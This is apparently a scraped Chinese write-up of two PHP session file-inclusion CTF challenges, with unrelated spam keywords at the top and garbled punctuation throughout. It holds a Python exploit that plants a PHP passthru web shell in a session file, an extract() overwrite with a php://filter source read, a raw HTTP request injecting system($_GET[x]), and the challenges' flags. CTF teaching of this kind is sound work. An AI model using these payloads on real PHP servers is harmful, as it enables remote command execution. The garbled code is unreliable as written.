免费网站模板 下载,网站后台文章编辑不了,ui设计说明万能模板,在线制作名片[题目信息]#xff1a;
题目名称题目难度文件包含-session22
[题目考点]#xff1a;
由于网站功能需求#xff0c;会让前端用户选择要包含的文件#xff0c;而开发人员又没有对要包含的文件进行安全考虑#xff0c;就导致攻击者可以通过修改文件的位置来让后台执行任意…[题目信息]
题目名称题目难度文件包含-session22
[题目考点]
由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。以PHP为例常用的文件包含函数有以下四种 include()require()include_once()require_once() [Flag格式]:
SangFor{BU919IUdc4N6mqgCNdviZcXGJNPwNkCC}[环境部署]
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2098[题目writeup]
1、实验主页 2、题解分析
#!/usr/bin/env python
# coding: utf-8from time import sleep import requests
url ‘url’
s requests.session()
def execute(cmd): params { ‘file’: ‘?php passthru($POST[“cmd”]); ?’ } r s.get(url, paramsparams) params[‘file’] /tmp/sess’ r.cookies[‘PHPSESSID’]
r s.post(url, paramsparams, data{cmd: cmd})
return r.textprint execute(‘cat /flag’) [题目信息]
题目名称题目难度文件包含-session2
[题目考点]
由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。以PHP为例常用的文件包含函数有以下四种 include()require()include_once()require_once() [Flag格式]:
SangFor{vV0vVtZiLZMUMRUFZHPrAuSuuSH7jris}[环境部署]
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2090[题目writeup]
1、实验主页 2、题解分析
?phphighlight_file(__FILE__);error_reporting(0);ini_set(open_basedir, /var/www/html:/tmp);$file function.php;$func isset($_GET[function])?$_GET[function]:filters; call_user_func($func,$_GET);include($file);session_start();$_SESSION[name] $_POST[name];if($_SESSION[name]admin){header(location:admin.php);}
?分析题目源码可以看出 $_GET[‘function’] 和 $_SESSION[‘name’] $_POST[‘name’] 可控
其中 call_user_func($func,$_GET); 回调函数可利用
而且 include($file); 调用了文件包含
所以可以调用变量覆盖函数覆盖掉 $file 从而引入文件包含
?functionextractfilephp://filter/readconvert.base64-encode/resource./function.php利用文件包含读到了admin.php和function.php的源码然而这两个文件源码对解题没有什么帮助。
从index.php可以看出 $_SESSION[‘name’] $_POST[‘name’] session的值可控session默认的保存位置如下
/var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID 由于 ini_set(‘open_basedir’, ‘/var/www/html:/tmp’) 我们包含不了 /var/lib/ 下的session
但是我在tmp下也找不到自己的session所以这里的session应该是在 /var/lib/ 下
这里可以调用session_start函数修改session的位置
POST /index.php?functionsession_startsave_path/tmp HTTP/1.1
Host: 192.168.17.87:2090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID056395276464d1b4480bc1457efbb106
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 41name?php echo aaa;system($_GET[x]);? 然后进行包含session
/index.php?functionextractfile/tmp/sess_056395276464d1b4480bc1457efbb106xcatfsadgsdagsadgasd.php